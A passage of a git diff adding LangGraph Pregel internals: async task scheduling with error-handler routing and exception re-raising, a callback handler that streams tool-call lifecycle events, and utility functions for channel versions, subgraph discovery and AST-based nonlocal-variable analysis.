+                    self._handled_exception_ids.add(id(exc))
+                    if handler_task := await self.aschedule_error_handler(t, exc):
+                        tasks = (handler_task,)
+                        scheduled_error_handler = True
+                if reraise and futures:
+                    if id(exc) not in self._handled_exception_ids:
+                        # will be re-raised after futures are done
+                        fut: asyncio.Future = loop.create_future()
+                        fut.set_exception(exc)
+                        futures.done.add(fut)
+                elif reraise and id(exc) not in self._handled_exception_ids:
+                    if tb := exc.__traceback__:
+                        while tb.tb_next is not None and any(
+                            tb.tb_frame.f_code.co_filename.endswith(name)
+                            for name in EXCLUDED_FRAME_FNAMES
+                        ):
+                            tb = tb.tb_next
+                        exc.__traceback__ = tb
+                    raise
+            if not futures and not scheduled_error_handler:
+                # maybe `t` scheduled another task
+                return
+            else:
+                if not scheduled_error_handler:
+                    tasks = ()  # don't reschedule this task
+        # add waiter task if requested
+        if get_waiter is not None:
+            futures[get_waiter()] = None
+        # schedule tasks
+        for t in tasks:
+            fut = cast(
+                asyncio.Future,
+                self.submit()(  # type: ignore[misc]
+                    arun_with_retry,
+                    t,
+                    retry_policy,
+                    stream=self.use_astream,
+                    configurable={
+                        CONFIG_KEY_CALL: partial(
+                            _acall,
+                            weakref.ref(t),
+                            retry_policy=retry_policy,
+                            stream=self.use_astream,
+                            futures=weakref.ref(futures),
+                            schedule_task=schedule_task,
+                            submit=self.submit,
+                            loop=loop,
+                        ),
+                    },
+                    __name__=t.name,
+                    __cancel_on_exit__=True,
+                    __reraise_on_exit__=reraise,
+                ),
+            )
+            futures[fut] = t
+        # execute tasks, and wait for one to fail or all to finish.
+        # each task is independent from all other concurrent tasks
+        # yield updates/debug output as each task finishes
+        end_time = timeout + loop.time() if timeout else None
+        handled_futures: set[asyncio.Future[Any]] = set()
+        while len(futures) > (1 if get_waiter is not None else 0):
+            done, inflight = await asyncio.wait(
+                futures,
+                return_when=asyncio.FIRST_COMPLETED,
+                timeout=(max(0, end_time - loop.time()) if end_time else None),
+            )
+            if not done:
+                break  # timed out
+            done_for_stop: set[asyncio.Future[Any]] = set()
+            for fut in done:
+                task = futures.pop(fut)
+                if task is None:
+                    # waiter task finished, schedule another
+                    if inflight and get_waiter is not None:
+                        futures[get_waiter()] = None
+                elif (
+                    (task_exc := _exception(fut))
+                    and self._should_route_to_error_handler(task)
+                    and not isinstance(task_exc, GraphBubbleUp)
+                ):
+                    self._handled_exception_ids.add(id(task_exc))
+                    SKIP_RERAISE_SET.add(fut)
+                    handled_futures.add(fut)
+                    if self.aschedule_error_handler is not None:
+                        if handler_task := await self.aschedule_error_handler(
+                            task, task_exc
+                        ):
+                            handler_fut = cast(
+                                asyncio.Future,
+                                self.submit()(  # type: ignore[misc]
+                                    arun_with_retry,
+                                    handler_task,
+                                    retry_policy,
+                                    stream=self.use_astream,
+                                    configurable={
+                                        CONFIG_KEY_CALL: partial(
+                                            _acall,
+                                            weakref.ref(handler_task),
+                                            retry_policy=retry_policy,
+                                            stream=self.use_astream,
+                                            futures=weakref.ref(futures),
+                                            schedule_task=schedule_task,
+                                            submit=self.submit,
+                                            loop=loop,
+                                        ),
+                                    },
+                                    __name__=handler_task.name,
+                                    __cancel_on_exit__=True,
+                                    __reraise_on_exit__=reraise,
+                                ),
+                            )
+                            futures[handler_fut] = handler_task
+                else:
+                    done_for_stop.add(fut)
+            else:
+                # remove references to loop vars
+                del fut, task
+            # maybe stop other tasks
+            if _should_stop_others(
+                done_for_stop, handled_exception_ids=self._handled_exception_ids
+            ):
+                break
+            # give control back to the caller
+            yield
+        # wait for done callbacks
+        await asyncio.wait_for(
+            futures.event.wait(),
+            timeout=(max(0, end_time - loop.time()) if end_time else None),
+        )
+        # give control back to the caller
+        yield
+        # cancel waiter task
+        for fut in futures:
+            fut.cancel()
+        # panic on failure or timeout
+        try:
+            _panic_or_proceed(
+                futures.done.union(f for f, t in futures.items() if t is not None),
+                timeout_exc_cls=asyncio.TimeoutError,
+                panic=reraise,
+                handled_exception_ids=self._handled_exception_ids,
+                handled_futures=handled_futures,
+            )
+        except Exception as exc:
+            if tb := exc.__traceback__:
+                while tb.tb_next is not None and any(
+                    tb.tb_frame.f_code.co_filename.endswith(name)
+                    for name in EXCLUDED_FRAME_FNAMES
+                ):
+                    tb = tb.tb_next
+                exc.__traceback__ = tb
+            raise
+
+    def commit(
+        self,
+        task: PregelExecutableTask,
+        exception: BaseException | None,
+    ) -> None:
+        if isinstance(exception, asyncio.CancelledError):
+            # for cancelled tasks, also save error in task,
+            # so loop can finish super-step
+            task.writes.append((ERROR, exception))
+            self.put_writes()(task.id, task.writes)  # type: ignore[misc]
+        elif exception:
+            if isinstance(exception, GraphInterrupt):
+                # save interrupt to checkpointer
+                if exception.args[0]:
+                    writes = [(INTERRUPT, exception.args[0])]
+                    if resumes := [w for w in task.writes if w[0] == RESUME]:
+                        writes.extend(resumes)
+                    self.put_writes()(task.id, writes)  # type: ignore[misc]
+            elif isinstance(exception, GraphBubbleUp):
+                # exception will be raised in _panic_or_proceed
+                pass
+            else:
+                # save error to checkpointer
+                task.writes.append((ERROR, exception))
+                if self._should_route_to_error_handler(task) and not isinstance(
+                    exception, GraphBubbleUp
+                ):
+                    task.writes.append((ERROR_SOURCE_NODE, task.name))
+                    self._handled_exception_ids.add(id(exception))
+                self.put_writes()(task.id, task.writes)  # type: ignore[misc]
+        else:
+            if self.node_finished and (
+                task.config is None or TAG_HIDDEN not in task.config.get("tags", [])
+            ):
+                self.node_finished(task.name)
+            if not task.writes:
+                # add no writes marker
+                task.writes.append((NO_WRITES, None))
+            # save task writes to checkpointer
+            self.put_writes()(task.id, task.writes)  # type: ignore[misc]
+
+
+def _should_stop_others(
+    done: set[F],
+    *,
+    handled_exception_ids: set[int] | None = None,
+) -> bool:
+    """Check if any task failed, if so, cancel all other tasks.
+    GraphInterrupts are not considered failures."""
+    for fut in done:
+        if fut.cancelled():
+            continue
+        elif exc := fut.exception():
+            if (
+                id(exc) not in (handled_exception_ids or set())
+                and not isinstance(exc, GraphBubbleUp)
+                and fut not in SKIP_RERAISE_SET
+            ):
+                return True
+
+    return False
+
+
+def _exception(
+    fut: concurrent.futures.Future[Any] | asyncio.Future[Any],
+) -> BaseException | None:
+    """Return the exception from a future, without raising CancelledError."""
+    if fut.cancelled():
+        if isinstance(fut, asyncio.Future):
+            return asyncio.CancelledError()
+        else:
+            return concurrent.futures.CancelledError()
+    else:
+        return fut.exception()
+
+
+def _panic_or_proceed(
+    futs: set[concurrent.futures.Future] | set[asyncio.Future],
+    *,
+    timeout_exc_cls: type[Exception] = TimeoutError,
+    panic: bool = True,
+    handled_exception_ids: set[int] | None = None,
+    handled_futures: Collection[concurrent.futures.Future[Any] | asyncio.Future[Any]]
+    | None = None,
+) -> None:
+    """Cancel remaining tasks if any failed, re-raise exception if panic is True."""
+    done: set[concurrent.futures.Future[Any] | asyncio.Future[Any]] = set()
+    inflight: set[concurrent.futures.Future[Any] | asyncio.Future[Any]] = set()
+    for fut in futs:
+        if fut.cancelled():
+            continue
+        elif fut.done():
+            done.add(fut)
+        else:
+            inflight.add(fut)
+    interrupts: list[GraphInterrupt] = []
+    while done:
+        # if any task failed
+        fut = done.pop()
+        if exc := _exception(fut):
+            if fut in (handled_futures or set()):
+                continue
+            if id(exc) in (handled_exception_ids or set()):
+                continue
+            # cancel all pending tasks
+            while inflight:
+                inflight.pop().cancel()
+            # raise the exception
+            if panic:
+                if isinstance(exc, GraphInterrupt):
+                    # collect interrupts
+                    interrupts.append(exc)
+                elif fut not in SKIP_RERAISE_SET:
+                    raise exc
+    # raise combined interrupts
+    if interrupts:
+        raise GraphInterrupt(tuple(i for exc in interrupts for i in exc.args[0]))
+    if inflight:
+        # if we got here means we timed out
+        while inflight:
+            # cancel all pending tasks
+            inflight.pop().cancel()
+        # raise timeout error
+        raise timeout_exc_cls("Timed out")
+
+
+def _call(
+    task: weakref.ref[PregelExecutableTask],
+    func: Callable[[Any], Awaitable[Any] | Any],
+    input: Any,
+    *,
+    retry_policy: Sequence[RetryPolicy] | None = None,
+    cache_policy: CachePolicy | None = None,
+    timeout: TimeoutPolicy | None = None,
+    callbacks: Callbacks = None,
+    futures: weakref.ref[FuturesDict],
+    schedule_task: Callable[
+        [PregelExecutableTask, int, Call | None], PregelExecutableTask | None
+    ],
+    submit: weakref.ref[Submit],
+) -> concurrent.futures.Future[Any]:
+    if inspect.iscoroutinefunction(func):
+        raise RuntimeError("In an sync context async tasks cannot be called")
+
+    fut: concurrent.futures.Future | None = None
+    # schedule PUSH tasks, collect futures
+    scratchpad: PregelScratchpad = task().config[CONF][CONFIG_KEY_SCRATCHPAD]  # type: ignore[union-attr]
+    # schedule the next task, if the callback returns one
+    if next_task := schedule_task(
+        task(),  # type: ignore[arg-type]
+        scratchpad.call_counter(),
+        Call(
+            func,
+            input,
+            retry_policy=retry_policy,
+            cache_policy=cache_policy,
+            callbacks=callbacks,
+            timeout=timeout,
+        ),
+    ):
+        if fut := next(
+            (
+                f
+                for f, t in list(futures().items())  # type: ignore[union-attr]
+                if t is not None and t == next_task.id
+            ),
+            None,
+        ):
+            # if the parent task was retried,
+            # the next task might already be running
+            pass
+        elif next_task.writes:
+            # if it already ran, return the result
+            fut = concurrent.futures.Future()
+            ret = next((v for c, v in next_task.writes if c == RETURN), MISSING)
+            if ret is not MISSING:
+                fut.set_result(ret)
+            elif exc := next((v for c, v in next_task.writes if c == ERROR), None):
+                fut.set_exception(
+                    exc if isinstance(exc, BaseException) else Exception(exc)
+                )
+            else:
+                fut.set_result(None)
+        else:
+            # schedule the next task
+            fut = submit()(  # type: ignore[misc]
+                run_with_retry,
+                next_task,
+                retry_policy,
+                configurable={
+                    CONFIG_KEY_CALL: partial(
+                        _call,
+                        weakref.ref(next_task),
+                        futures=futures,
+                        retry_policy=retry_policy,
+                        callbacks=callbacks,
+                        schedule_task=schedule_task,
+                        submit=submit,
+                    ),
+                },
+                __reraise_on_exit__=False,
+                # starting a new task in the next tick ensures
+                # updates from this tick are committed/streamed first
+                __next_tick__=True,
+            )
+            # exceptions for call() tasks are raised into the parent task
+            # so we should not re-raise at the end of the tick
+            SKIP_RERAISE_SET.add(fut)
+            futures()[fut] = next_task  # type: ignore[index]
+    fut = cast(asyncio.Future | concurrent.futures.Future, fut)
+    # return a chained future to ensure commit() callback is called
+    # before the returned future is resolved, to ensure stream order etc
+    return chain_future(fut, concurrent.futures.Future())
+
+
+def _acall(
+    task: weakref.ref[PregelExecutableTask],
+    func: Callable[[Any], Awaitable[Any] | Any],
+    input: Any,
+    *,
+    retry_policy: Sequence[RetryPolicy] | None = None,
+    cache_policy: CachePolicy | None = None,
+    timeout: TimeoutPolicy | None = None,
+    callbacks: Callbacks = None,
+    # injected dependencies
+    futures: weakref.ref[FuturesDict],
+    schedule_task: Callable[
+        [PregelExecutableTask, int, Call | None],
+        Awaitable[PregelExecutableTask | None],
+    ],
+    submit: weakref.ref[Submit],
+    loop: asyncio.AbstractEventLoop,
+    stream: bool = False,
+) -> asyncio.Future[Any] | concurrent.futures.Future[Any]:
+    # return a chained future to ensure commit() callback is called
+    # before the returned future is resolved, to ensure stream order etc
+    try:
+        in_async = asyncio.current_task() is not None
+    except RuntimeError:
+        in_async = False
+    # if in async context return an async future, otherwise return a sync future
+    if in_async:
+        fut: asyncio.Future[Any] | concurrent.futures.Future[Any] = asyncio.Future(
+            loop=loop
+        )
+    else:
+        fut = concurrent.futures.Future()
+    # schedule the next task
+    run_coroutine_threadsafe(
+        _acall_impl(
+            fut,
+            task,
+            func,
+            input,
+            retry_policy=retry_policy,
+            cache_policy=cache_policy,
+            timeout=timeout,
+            callbacks=callbacks,
+            futures=futures,
+            schedule_task=schedule_task,
+            submit=submit,
+            loop=loop,
+            stream=stream,
+        ),
+        loop,
+        lazy=False,
+    )
+    return fut
+
+
+async def _acall_impl(
+    destination: asyncio.Future[Any] | concurrent.futures.Future[Any],
+    task: weakref.ref[PregelExecutableTask],
+    func: Callable[[Any], Awaitable[Any] | Any],
+    input: Any,
+    *,
+    retry_policy: Sequence[RetryPolicy] | None = None,
+    cache_policy: CachePolicy | None = None,
+    timeout: TimeoutPolicy | None = None,
+    callbacks: Callbacks = None,
+    # injected dependencies
+    futures: weakref.ref[FuturesDict[asyncio.Future, asyncio.Event]],
+    schedule_task: Callable[
+        [PregelExecutableTask, int, Call | None],
+        Awaitable[PregelExecutableTask | None],
+    ],
+    submit: weakref.ref[Submit],
+    loop: asyncio.AbstractEventLoop,
+    stream: bool = False,
+) -> None:
+    try:
+        fut: asyncio.Future | None = None
+        # schedule PUSH tasks, collect futures
+        scratchpad: PregelScratchpad = task().config[CONF][CONFIG_KEY_SCRATCHPAD]  # type: ignore[union-attr]
+        # schedule the next task, if the callback returns one
+        if next_task := await schedule_task(
+            task(),  # type: ignore[arg-type]
+            scratchpad.call_counter(),
+            Call(
+                func,
+                input,
+                retry_policy=retry_policy,
+                cache_policy=cache_policy,
+                callbacks=callbacks,
+                timeout=timeout,
+            ),
+        ):
+            if fut := next(
+                (
+                    f
+                    for f, t in list(futures().items())  # type: ignore[union-attr]
+                    if t is not None and t == next_task.id
+                ),
+                None,
+            ):
+                # if the parent task was retried,
+                # the next task might already be running
+                pass
+            elif next_task.writes:
+                # if it already ran, return the result
+                fut = asyncio.Future(loop=loop)
+                ret = next((v for c, v in next_task.writes if c == RETURN), MISSING)
+                if ret is not MISSING:
+                    fut.set_result(ret)
+                elif exc := next((v for c, v in next_task.writes if c == ERROR), None):
+                    fut.set_exception(
+                        exc if isinstance(exc, BaseException) else Exception(exc)
+                    )
+                else:
+                    fut.set_result(None)
+            else:
+                # schedule the next task
+                fut = cast(
+                    asyncio.Future,
+                    submit()(  # type: ignore[misc]
+                        arun_with_retry,
+                        next_task,
+                        retry_policy,
+                        stream=stream,
+                        configurable={
+                            CONFIG_KEY_CALL: partial(
+                                _acall,
+                                weakref.ref(next_task),
+                                stream=stream,
+                                futures=futures,
+                                schedule_task=schedule_task,
+                                submit=submit,
+                                loop=loop,
+                            ),
+                        },
+                        __name__=next_task.name,
+                        __cancel_on_exit__=True,
+                        __reraise_on_exit__=False,
+                        # starting a new task in the next tick ensures
+                        # updates from this tick are committed/streamed first
+                        __next_tick__=True,
+                    ),
+                )
+                # exceptions for call() tasks are raised into the parent task
+                # so we should not re-raise at the end of the tick
+                SKIP_RERAISE_SET.add(fut)
+                futures()[fut] = next_task  # type: ignore[index]
+        if fut is not None:
+            chain_future(fut, destination)
+        else:
+            destination.set_exception(RuntimeError("Task not scheduled"))
+    except Exception as exc:
+        destination.set_exception(exc)
diff --git a/libs/langgraph/langgraph/pregel/_tools.py b/libs/langgraph/langgraph/pregel/_tools.py
new file mode 100644
index 0000000..fd7bb63
--- /dev/null
+++ b/libs/langgraph/langgraph/pregel/_tools.py
@@ -0,0 +1,268 @@
+from __future__ import annotations
+
+from collections.abc import AsyncIterator, Callable, Iterator
+from contextvars import ContextVar, Token
+from typing import Any, TypeVar, cast
+from uuid import UUID
+
+from langchain_core.callbacks import BaseCallbackHandler
+
+from langgraph._internal._constants import NS_SEP
+from langgraph.constants import TAG_NOSTREAM
+from langgraph.pregel.protocol import StreamChunk
+
+try:
+    from langchain_core.tracers._streaming import _StreamingCallbackHandler
+except ImportError:
+    _StreamingCallbackHandler = object  # type: ignore[assignment,misc]
+
+
+T = TypeVar("T")
+
+ToolCallWriter = Callable[[Any], None]
+"""A closure bound to a single tool call that emits `tool-output-delta` events."""
+
+_tool_call_writer: ContextVar[ToolCallWriter | None] = ContextVar(
+    "langgraph_tool_call_writer", default=None
+)
+"""ContextVar holding the writer for the currently-executing tool call.
+
+Set by `StreamToolCallHandler.on_tool_start` and reset on end/error.
+Read by `ToolRuntime.emit_output_delta` (in `langgraph.prebuilt`).
+"""
+
+
+class StreamToolCallHandler(BaseCallbackHandler, _StreamingCallbackHandler):
+    """Callback handler that emits tool-call lifecycle events on the stream.
+
+    Fires on LangChain's `on_tool_*` callbacks and pushes to the `tools`
+    stream mode. Emits `tool-started` / `tool-output-delta` /
+    `tool-finished` / `tool-error` payloads keyed by `tool_call_id`.
+
+    While a tool is executing, this handler sets `_tool_call_writer` to a
+    closure bound to that call's namespace and `tool_call_id`.
+    `ToolRuntime.emit_output_delta` reads that ContextVar so tool bodies
+    can stream partial output without threading the writer through their
+    own signature.
+
+    Attached by `Pregel.stream` / `astream` when `"tools"` is in
+    `stream_modes`. `run_inline = True` keeps event ordering
+    deterministic.
+    """
+
+    run_inline = True
+
+    def __init__(
+        self,
+        stream: Callable[[StreamChunk], None],
+        subgraphs: bool,
+        *,
+        parent_ns: tuple[str, ...] | None = None,
+    ) -> None:
+        """Configure the handler to stream tool-call events.
+
+        Args:
+            stream: Callable that accepts a `StreamChunk` tuple
+                `(namespace, mode, payload)` and enqueues it.
+            subgraphs: Whether to emit events from tools called inside
+                nested subgraphs. When False, only tools at the
+                handler's own scope (`parent_ns`) emit.
+            parent_ns: Namespace where the handler was attached.
+                Mirrors the `StreamMessagesHandler` escape hatch:
+                tools whose containing namespace equals `parent_ns`
+                still emit even with `subgraphs=False`, so a node that
+                explicitly streams a subgraph with `stream_mode="tools"`
+                sees its own tools.
+        """
+        self.stream = stream
+        self.subgraphs = subgraphs
+        self.parent_ns = parent_ns
+        # run_id → (namespace, tool_call_id, ContextVar token)
+        # `on_tool_end` does not receive `tool_call_id` in kwargs, so
+        # we correlate by `run_id` which is present on every callback.
+        self._run_to_call: dict[
+            UUID, tuple[tuple[str, ...], str, Token[ToolCallWriter | None]]
+        ] = {}
+
+    def _ns_for_emit(
+        self,
+        metadata: dict[str, Any] | None,
+        tags: list[str] | None,
+    ) -> tuple[str, ...] | None:
+        """Resolve the namespace this tool call should emit at, or `None` to skip.
+
+        Mirrors `StreamMessagesHandler.on_chat_model_start`'s namespace
+        derivation: parses `langgraph_checkpoint_ns` (which ends with
+        the `node_name:task_id` of the calling node), drops that
+        trailing segment, and returns the containing subgraph's own
+        namespace. Returns `None` when the call should be silently
+        suppressed:
+
+        - `metadata` is missing — handler is attached to a context
+          without Pregel routing info.
+        - `TAG_NOSTREAM` is in `tags` — caller explicitly opted out.
+        - Tool runs in a subgraph (`len(ns) > 0`) and the handler was
+          attached with `subgraphs=False` and a different `parent_ns`
+          than the call's containing subgraph.
+        """
+        if not metadata:
+            return None
+        if tags and TAG_NOSTREAM in tags:
+            return None
+        nskey = metadata.get("langgraph_checkpoint_ns")
+        if not nskey:
+            ns: tuple[str, ...] = ()
+        else:
+            ns = tuple(cast(str, nskey).split(NS_SEP))[:-1]
+        if not self.subgraphs and len(ns) > 0 and ns != self.parent_ns:
+            return None
+        return ns
+
+    def _start(
+        self,
+        serialized: dict[str, Any] | None,
+        input_str: str,
+        *,
+        run_id: UUID,
+        metadata: dict[str, Any] | None,
+        tags: list[str] | None,
+        inputs: dict[str, Any] | None,
+        kwargs: dict[str, Any],
+    ) -> None:
+        ns = self._ns_for_emit(metadata, tags)
+        if ns is None:
+            return
+        tool_call_id = cast("str | None", kwargs.get("tool_call_id")) or str(run_id)
+        tool_name = (
+            (serialized or {}).get("name")
+            or cast("str | None", kwargs.get("name"))
+            or ""
+        )
+
+        def writer(delta: Any) -> None:
+            self.stream(
+                (
+                    ns,
+                    "tools",
+                    {
+                        "event": "tool-output-delta",
+                        "tool_call_id": tool_call_id,
+                        "delta": delta,
+                    },
+                )
+            )
+
+        token = _tool_call_writer.set(writer)
+        self._run_to_call[run_id] = (ns, tool_call_id, token)
+
+        payload: dict[str, Any] = {
+            "event": "tool-started",
+            "tool_call_id": tool_call_id,
+            "tool_name": tool_name,
+        }
+        if inputs is not None:
+            payload["input"] = inputs
+        self.stream((ns, "tools", payload))
+
+    def _end(self, output: Any, *, run_id: UUID) -> None:
+        info = self._run_to_call.pop(run_id, None)
+        if info is None:
+            return
+        ns, tool_call_id, token = info
+        self._reset_writer(token)
+        self.stream(
+            (
+                ns,
+                "tools",
+                {
+                    "event": "tool-finished",
+                    "tool_call_id": tool_call_id,
+                    "output": output,
+                },
+            )
+        )
+
+    def _error(self, error: BaseException, *, run_id: UUID) -> None:
+        info = self._run_to_call.pop(run_id, None)
+        if info is None:
+            return
+        ns, tool_call_id, token = info
+        self._reset_writer(token)
+        self.stream(
+            (
+                ns,
+                "tools",
+                {
+                    "event": "tool-error",
+                    "tool_call_id": tool_call_id,
+                    "message": str(error),
+                },
+            )
+        )
+
+    def tap_output_aiter(
+        self, run_id: UUID, output: AsyncIterator[T]
+    ) -> AsyncIterator[T]:
+        """Pass-through — required by the `_StreamingCallbackHandler` protocol."""
+        return output
+
+    def tap_output_iter(self, run_id: UUID, output: Iterator[T]) -> Iterator[T]:
+        """Pass-through — sync counterpart to `tap_output_aiter`."""
+        return output
+
+    @staticmethod
+    def _reset_writer(token: Token[ToolCallWriter | None]) -> None:
+        # Token is invalid if `on_tool_end` runs in a different context
+        # than `on_tool_start` (e.g. langchain may hand off to a thread
+        # worker without copying the context). Swallow that case; the
+        # ContextVar lifetime is bounded by the enclosing task anyway.
+        try:
+            _tool_call_writer.reset(token)
+        except ValueError:
+            pass
+
+    # ------------------------------------------------------------------
+    # Sync callbacks
+    # ------------------------------------------------------------------
+
+    def on_tool_start(
+        self,
+        serialized: dict[str, Any],
+        input_str: str,
+        *,
+        run_id: UUID,
+        parent_run_id: UUID | None = None,
+        tags: list[str] | None = None,
+        metadata: dict[str, Any] | None = None,
+        inputs: dict[str, Any] | None = None,
+        **kwargs: Any,
+    ) -> Any:
+        self._start(
+            serialized,
+            input_str,
+            run_id=run_id,
+            metadata=metadata,
+            tags=tags,
+            inputs=inputs,
+            kwargs=kwargs,
+        )
+
+    def on_tool_end(
+        self,
+        output: Any,
+        *,
+        run_id: UUID,
+        parent_run_id: UUID | None = None,
+        **kwargs: Any,
+    ) -> Any:
+        self._end(output, run_id=run_id)
+
+    def on_tool_error(
+        self,
+        error: BaseException,
+        *,
+        run_id: UUID,
+        parent_run_id: UUID | None = None,
+        **kwargs: Any,
+    ) -> Any:
+        self._error(error, run_id=run_id)
diff --git a/libs/langgraph/langgraph/pregel/_utils.py b/libs/langgraph/langgraph/pregel/_utils.py
new file mode 100644
index 0000000..f7f91e0
--- /dev/null
+++ b/libs/langgraph/langgraph/pregel/_utils.py
@@ -0,0 +1,291 @@
+from __future__ import annotations
+
+import ast
+import inspect
+import re
+import textwrap
+from collections.abc import Callable, Sequence
+from functools import partial
+from typing import Any
+
+from langchain_core.runnables import (
+    Runnable,
+    RunnableLambda,
+    RunnableParallel,
+    RunnableSequence,
+)
+from langchain_core.runnables.base import RunnableBindingBase
+from langchain_core.runnables.config import run_in_executor
+from langgraph.checkpoint.base import ChannelVersions
+from typing_extensions import override
+
+from langgraph._internal._runnable import RunnableCallable, RunnableSeq
+from langgraph._internal._timeout import sync_timeout_unsupported
+from langgraph.pregel.protocol import PregelProtocol
+
+_SEQUENCE_TYPES = (RunnableSeq, RunnableSequence)
+
+
+def get_new_channel_versions(
+    previous_versions: ChannelVersions, current_versions: ChannelVersions
+) -> ChannelVersions:
+    """Get subset of current_versions that are newer than previous_versions."""
+    if previous_versions:
+        version_type = type(next(iter(current_versions.values()), None))
+        null_version = version_type()  # type: ignore[misc]
+        new_versions = {
+            k: v
+            for k, v in current_versions.items()
+            if v > previous_versions.get(k, null_version)  # type: ignore[operator]
+        }
+    else:
+        new_versions = current_versions
+
+    return new_versions
+
+
+def find_subgraph_pregel(candidate: Runnable) -> PregelProtocol | None:
+    from langgraph.pregel import Pregel
+
+    candidates: list[Runnable] = [candidate]
+
+    for c in candidates:
+        if (
+            isinstance(c, PregelProtocol)
+            # subgraphs that disabled checkpointing are not considered
+            and (not isinstance(c, Pregel) or c.checkpointer is not False)
+        ):
+            return c
+        elif isinstance(c, RunnableSequence) or isinstance(c, RunnableSeq):
+            candidates.extend(c.steps)
+        elif isinstance(c, RunnableLambda):
+            candidates.extend(c.deps)
+        elif isinstance(c, RunnableCallable):
+            if c.func is not None:
+                candidates.extend(
+                    nl.__self__ if hasattr(nl, "__self__") else nl
+                    for nl in get_function_nonlocals(c.func)
+                )
+            elif c.afunc is not None:
+                candidates.extend(
+                    nl.__self__ if hasattr(nl, "__self__") else nl
+                    for nl in get_function_nonlocals(c.afunc)
+                )
+
+    return None
+
+
+def _sequence_steps(runnable: Runnable) -> Sequence[Runnable] | None:
+    if isinstance(runnable, _SEQUENCE_TYPES):
+        return runnable.steps
+    return None
+
+
+def _parallel_steps(runnable: Runnable) -> Sequence[Runnable] | None:
+    if isinstance(runnable, RunnableParallel):
+        return tuple(runnable.steps__.values())
+    return None
+
+
+def _has_method_override(runnable: Runnable, method_name: str) -> bool:
+    method = getattr(type(runnable), method_name, None)
+    return method is not None and method is not getattr(Runnable, method_name)
+
+
+def _is_executor_backed_afunc(afunc: Callable[..., Any] | None) -> bool:
+    return isinstance(afunc, partial) and afunc.func is run_in_executor
+
+
+def _has_native_async(runnable: Runnable) -> bool:
+    if isinstance(runnable, RunnableCallable):
+        return runnable.afunc is not None and not _is_executor_backed_afunc(
+            runnable.afunc
+        )
+    if isinstance(runnable, RunnableLambda):
+        return bool(getattr(runnable, "afunc", False))
+    return _has_method_override(runnable, "ainvoke")
+
+
+def _runnable_has_native_async(runnable: Runnable) -> bool:
+    """Return whether a runnable can be idle-timed without known sync code.
+
+    For custom runnable subclasses, an `ainvoke` override is treated as the
+    async contract. We do not introspect whether that implementation delegates
+    to blocking work internally — e.g. a subclass whose `ainvoke` calls
+    `asyncio.to_thread(self.invoke, ...)` will pass this check but the wrapped
+    sync work is still uncancellable. Idle-timeout enforcement on such a
+    runnable will fire `NodeTimeoutError` correctly, but the background thread
+    will keep running until its sync work returns.
+    """
+
+    while isinstance(runnable, RunnableBindingBase):
+        runnable = runnable.bound
+    steps = _sequence_steps(runnable)
+    if steps is None:
+        steps = _parallel_steps(runnable)
+    if steps is not None:
+        return all(_runnable_has_native_async(step) for step in steps)
+    # Raw callables and the common composition wrappers created by graph
+    # builders fall through here. We do not exhaustively unwrap every Runnable
+    # wrapper — wrappers that provide `ainvoke` are treated as owning the async
+    # contract.
+    return _has_native_async(runnable)
+
+
+def validate_timeout_supported(runnable: Runnable, *, name: str) -> None:
+    if not _runnable_has_native_async(runnable):
+        raise sync_timeout_unsupported(name)
+
+
+def get_function_nonlocals(func: Callable) -> list[Any]:
+    """Get the nonlocal variables accessed by a function.
+
+    Args:
+        func: The function to check.
+
+    Returns:
+        List[Any]: The nonlocal variables accessed by the function.
+    """
+    try:
+        code = inspect.getsource(func)
+        tree = ast.parse(textwrap.dedent(code))
+        visitor = FunctionNonLocals()
+        visitor.visit(tree)
+        values: list[Any] = []
+        closure = (
+            inspect.getclosurevars(func.__wrapped__)
+            if hasattr(func, "__wrapped__") and callable(func.__wrapped__)
+            else inspect.getclosurevars(func)
+        )
+        candidates = {**closure.globals, **closure.nonlocals}
+        for k, v in candidates.items():
+            if k in visitor.nonlocals:
+                values.append(v)
+            for kk in visitor.nonlocals:
+                if "." in kk and kk.startswith(k):
+                    vv = v
+                    for part in kk.split(".")[1:]:
+                        if vv is None:
+                            break
+                        else:
+                            try:
+                                vv = getattr(vv, part)
+                            except AttributeError:
+                                break
+                    else:
+                        values.append(vv)
+    except (SyntaxError, TypeError, OSError, SystemError):
+        return []
+
+    return values
+
+
+class FunctionNonLocals(ast.NodeVisitor):
+    """Get the nonlocal variables accessed of a function."""
+
+    def __init__(self) -> None:
+        self.nonlocals: set[str] = set()
+
+    @override
+    def visit_FunctionDef(self, node: ast.FunctionDef) -> Any:
+        """Visit a function definition.
+
+        Args:
+            node: The node to visit.
+
+        Returns:
+            Any: The result of the visit.
+        """
+        visitor = NonLocals()
+        visitor.visit(node)
+        self.nonlocals.update(visitor.loads - visitor.stores)
+
+    @override
+    def visit_AsyncFunctionDef(self, node: ast.AsyncFunctionDef) -> Any:
+        """Visit an async function definition.
+
+        Args:
+            node: The node to visit.
+
+        Returns:
+            Any: The result of the visit.
+        """
+        visitor = NonLocals()
+        visitor.visit(node)
+        self.nonlocals.update(visitor.loads - visitor.stores)
+
+    @override
+    def visit_Lambda(self, node: ast.Lambda) -> Any:
+        """Visit a lambda function.
+
+        Args:
+            node: The node to visit.
+
+        Returns:
+            Any: The result of the visit.
+        """
+        visitor = NonLocals()
+        visitor.visit(node)
+        self.nonlocals.update(visitor.loads - visitor.stores)
+
+
+class NonLocals(ast.NodeVisitor):
+    """Get nonlocal variables accessed."""
+
+    def __init__(self) -> None:
+        self.loads: set[str] = set()
+        self.stores: set[str] = set()
+
+    @override
+    def visit_Name(self, node: ast.Name) -> Any:
+        """Visit a name node.
+
+        Args:
+            node: The node to visit.
+
+        Returns:
+            Any: The result of the visit.
+        """
+        if isinstance(node.ctx, ast.Load):
+            self.loads.add(node.id)
+        elif isinstance(node.ctx, ast.Store):
+            self.stores.add(node.id)
+
+    @override
+    def visit_Attribute(self, node: ast.Attribute) -> Any:
+        """Visit an attribute node.
+
+        Args:
+            node: The node to visit.
+
+        Returns:
+            Any: The result of the visit.
+        """
+        if isinstance(node.ctx, ast.Load):
+            parent = node.value
+            attr_expr = node.attr
+            while isinstance(parent, ast.Attribute):
+                attr_expr = parent.attr + "." + attr_expr
+                parent = parent.value
+            if isinstance(parent, ast.Name):
+                self.loads.add(parent.id + "." + attr_expr)
+                self.loads.discard(parent.id)
+            elif isinstance(parent, ast.Call):
+                if isinstance(parent.func, ast.Name):
+                    self.loads.add(parent.func.id)
+                else:
+                    parent = parent.func
+                    attr_expr = ""
+                    while isinstance(parent, ast.Attribute):
+                        if attr_expr:
+                            attr_expr = parent.attr + "." + attr_expr
+                        else:
+                            attr_expr = parent.attr
+                        parent = parent.value
